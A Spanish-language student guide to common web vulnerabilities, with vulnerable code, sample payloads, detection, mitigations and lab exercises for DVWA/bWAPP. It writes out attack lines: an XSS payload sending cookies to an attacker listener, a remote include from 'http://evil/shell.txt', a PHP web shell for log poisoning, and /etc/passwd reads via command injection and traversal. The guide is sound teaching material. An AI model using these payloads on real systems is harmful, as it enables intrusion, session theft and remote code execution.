Guía para estudiantes - Vulnerabilidades web seleccionadas

Objetivo: Proveer a estudiantes una guía clara y práctica sobre las siguientes vulnerabilidades: **Injection (SQL y variantes), Command Injection, XSS, LFI / RFI, CSRF, IDOR, HTTP Pollution, Log Poisoning y Directory Traversal**. El documento explica qué son, cómo funcionan, ejemplos concretos (payloads), cómo detectarlas, mitigaciones y sugerencias de laboratorio/ejercicios.

Aviso de ética y seguridad

- Todas las pruebas **deben** realizarse únicamente en entornos controlados y con permiso explícito (p. ej. DVWA, bWAPP, máquinas virtuales locales).
- No atacar sistemas de terceros. Documentar todas las acciones y restaurar snapshots.

Índice

---

1. Injection (familia)

Definición: Cualquier caso donde datos controlados por el atacante se interpretan como parte de una instrucción en un lenguaje (SQL, NoSQL, LDAP, XPath, formato, etc.), alterando la lógica esperada.

Concepto general

- La vulnerabilidad existe cuando no se separa correctamente **código** y **datos**. El actor inyecta fragmentos que cambian la semántica de la instrucción.
- Es una categoría amplia: SQL Injection es la más conocida, pero la misma idea aplica a consultas NoSQL, filtros LDAP, XPATH, e incluso strings de formato en C.

1.A SQL Injection (SQLi)

- **Ejemplo (PHP vulnerable):**

```
$q = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "' AND
password = '" . $_GET['pass'] . "'";
```

- **Payload — login bypass:** `user=admin' -- &pass=x`
- **Payload — extracción (union):** `id=1 UNION SELECT user, password FROM users--`
- **Detección:** insertar `'` o `OR 1=1` y observar errores o comportamientos distintos. Pruebas blind (time-based) con `SLEEP(5)`.
- **Mitigación:** prepared statements / parametrized queries, validación estricta, menor privilegio para la cuenta DB.

1.B NoSQL Injection (MongoDB ejemplo)

- **Ejemplo (Node.js vulnerable):**

```
db.users.find({ username: req.body.username, password: req.body.password
})
```

- **Payload (JSON):** `{"username":{"$ne":null},"password":{"$ne":null}}` → devuelve documentos sin comprobar credenciales.
- **Mitigación:** validación de tipos, negar operadores ($-prefijados), usar ORMs que normalicen.

1.C LDAP / XPath Injection

- **Concepto:** inyección en filtros LDAP o expresiones XPath que permite alterar búsquedas o autenticación basada en XML/LDAP.
- **Payload LDAP (ejemplo):** `*)(|(uid=*))` para alterar filtros.
- **Mitigación:** escape de filtros, bind con parámetros.

1.D Format string / other

- **Ejemplo C vulnerable:** `printf(buf);` con `buf` controlado por el usuario. Payload `%x %x %s` puede exponer memoria.
- **Mitigación:** usar `printf("%s", buf);`.

Laboratorio sugerido (Injection familia)

- Objetivo: Explorar SQLi (DVWA), NoSQL injection en un servicio Node.js pequeño y un ejemplo de format string en un programa C.
- Pasos: login bypass SQLi; extraer una tabla con `UNION`; probar JSON con operadores `$ne` en NoSQL; compilar y ejecutar programa C vulnerable y ver output con `%x`.

---

2. Command Injection (OS Command Injection)

Definición: Inyección que permite ejecutar comandos del sistema operativo en el servidor.

Cómo funciona

- Ocurre cuando la aplicación pasa input directamente a un intérprete de comandos (shell) sin separar o sanear.

Ejemplo

- **Código PHP vulnerable:**

```
$output = shell_exec('ping -c 1 ' . $_GET['host']);
```

- **Payload:** `8.8.8.8; cat /etc/passwd`
- Resultado: el servidor ejecuta `ping -c 1 8.8.8.8; cat /etc/passwd` y devuelve el contenido de `/etc/passwd`.

Detección

- Intentar introducir `;`, `&&`, `|`, backticks o caracteres especiales y observar si aparecen resultados de comandos en la salida.

Mitigación

- Evitar invocar shell; usar APIs nativas que no ejecuten un intérprete. Si es imprescindible, whitelist de hosts/inputs, escapes robustos y drop privileges.

Laboratorio

- DVWA: módulo Command Injection — probar `8.8.8.8; ls -la /` y luego corregir reemplazando por una llamada controlada que no use shell.

---

3. Cross-Site Scripting (XSS)

Definición: Inyección de código que se ejecuta en el navegador de otro usuario. Tipos: reflejado, almacenado y DOM-based.

Ejemplo — Stored XSS

- **Contexto:** formulario de comentarios que almacena texto y lo renderiza sin escape.
- **Payload:** `<script>fetch('https://mi-escucha?c='+document.cookie)</script>`
- Resultado: cookie de la víctima enviada al servidor atacante.

Detección

- Envío de payloads de prueba (`<script>alert(1)</script>`, `"><img src=x onerror=alert(1)>`) y observación.

Mitigación

- Output context-aware encoding (HTML escape, attribute, JS, URL), HttpOnly cookies, Content Security Policy (CSP).

Laboratorio

- bWAPP/DVWA: Stored XSS en campo de comentarios; luego aplicar escape en la vista y re-probar.

---

4. Local File Inclusion (LFI) / Remote File Inclusion (RFI)

Definición: Inclusión de archivos para ejecución/lectura controlada por el usuario.

LFI — Ejemplo

- **Código PHP vulnerable:** `include($_GET['page']);`
- **Payload:** `page=../../../../etc/passwd` → muestra `/etc/passwd`.

RFI — Ejemplo

- Si `allow_url_include` está activado, `page=http://evil/shell.txt` puede ejecutar código remoto.

Detección

- Pruebas con `../` y acceso a `/etc/passwd` o `phpinfo()`.

Mitigación

- Whitelist de páginas, normalizar rutas, deshabilitar inclusión remota, almacenar plantillas seguras.

Laboratorio

- Crear dos plantillas `home.php` y `about.php`; implementar inclusión vulnerable y luego arreglarla con whitelist.

---

5. Cross-Site Request Forgery (CSRF)

Definición: Engañar al navegador de una víctima autenticada para que ejecute acciones sin su consentimiento.

Ejemplo

- **Malicioso:** HTML que autoenvía un formulario POST a `https://victima/app/transfer` con parámetros que cambian estado.

Detección

- Probar endpoints state-changing desde páginas externas; verificar ausencia de token CSRF.

Mitigación

- CSRF tokens únicos por sesión/form, SameSite cookies, validar Origin/Referer.

Laboratorio

- DVWA: CSRF module — construir página atacante que envía petición y luego implementar tokens en servidor para defender.

---

6. Insecure Direct Object Reference (IDOR)

Definición: Acceso a objetos por identificador manipulable sin verificar autorización del solicitante.

Ejemplo

- URL: `/invoice?id=1001` — cambiar `id=1002` permite ver otra factura.

Detección

- Manipular IDs incrementales o UUIDs y ver si devuelve recursos ajenos.

Mitigación

- Verificación de propiedad en servidor (owner check), controles de acceso (RBAC), usar IDs no adivinables y auditoría.

Laboratorio

- Endpoint con `?file_id=` o `?invoice=`; explotar y luego implementar check de `user_id`.

---

7. HTTP Pollution (HTTP Header Injection / smuggling-like issues)

Definición: Manipulación de cabeceras HTTP (o uso de caracteres de control) para alterar el comportamiento de proxies, caches o servidores.

Conceptos clave

- **Header injection:** incluir `\r\n` en valores para forzar nuevas cabeceras o respuestas.
- **HTTP request smuggling:** discrepancia entre proxies y backends en parseo de longitud/encabezados; permite desviar solicitudes.

Ejemplo sencillo — Header injection

- **Input vulnerable:** `username=attacker%0d%0aSet-Cookie: admin=1` → si se inserta sin limpieza, puede agregar una cabecera `Set-Cookie` en la respuesta.

Detección

- Inyectar `%0d%0a` y observar respuestas; usar Burp para comparar comportamiento a través de proxies.

Mitigación

- Validar y rechazar caracteres de control en headers e inputs que se reflejen en cabeceras; usar librerías que gestionen cabeceras correctamente.

Laboratorio

- Simular endpoint que refleja un header; probar inyección controlada y luego bloquear caracteres CR/LF.

---

8. Log Poisoning

Definición: Introducir datos maliciosos en logs que luego el sistema incluye/executa (p. ej. logs usados por la función `include` o analizados por un parser inseguro).

Cómo funciona

- Si la app escribe datos controlados por usuarios en archivos de log y posteriormente incluye o procesa esos logs sin sanitizar, un atacante puede inyectar payloads (p. ej. PHP) que luego serán ejecutados.

Ejemplo

- Enviar una petición con `User-Agent: <?php system($_GET['cmd']); ?>` y lograr que `access.log` sea incluido por un `include('logs/access.log')` en otro flujo.

Detección

- Revisar logs para entradas sospechosas, buscar `<?php` o CRLF inesperados.

Mitigación

- No incluir logs en código ejecutable; tratar logs como datos, no como código. Saneamiento de entradas antes de loggear, políticas de append-only, acceso restringido.

Laboratorio

- Configurar un script que incluye archivos de logs (modo vulnerable) y demostrar cómo un `User-Agent` malicioso puede provocar ejecución; luego corregir evitando la inclusión.

---

9. Directory Traversal

Definición: Acceso a ficheros fuera del directorio permitido mediante `../` (path traversal).

Ejemplo

- Endpoint: `download?file=report.pdf`
- **Payload:** `file=../../../../etc/passwd`

Detección

- Intentar `../` y observar si devuelve archivos del sistema.

Mitigación

- Normalizar rutas (`realpath`), comprobar que la ruta final esté dentro del directorio permitido, usar whitelist, no exponer directamente file paths al usuario.

Laboratorio

- Servicio de descarga de archivos; explotar traversal y luego aplicar `realpath` y checks.

Checklist para cada práctica (usar antes de entregar)

1. Entorno: VM aislada y snapshot tomado.
2. Objetivo claro y autorizado.
3. Payloads documentados y capturas de pantalla de requests/responses.
4. Implementar mitigación en entorno corregido y documentar comprobaciones.
5. Reflexión final: impacto real, medidas de detección (logs, IDS), recomendaciones de despliegue.

Material adicional y referencias (sugeridas para estudiar)

- OWASP Top 10 (revisión conceptual).
- Documentación de Burp Suite y uso de Repeater/Intruder.
- Tutoriales de DVWA / bWAPP para practicar.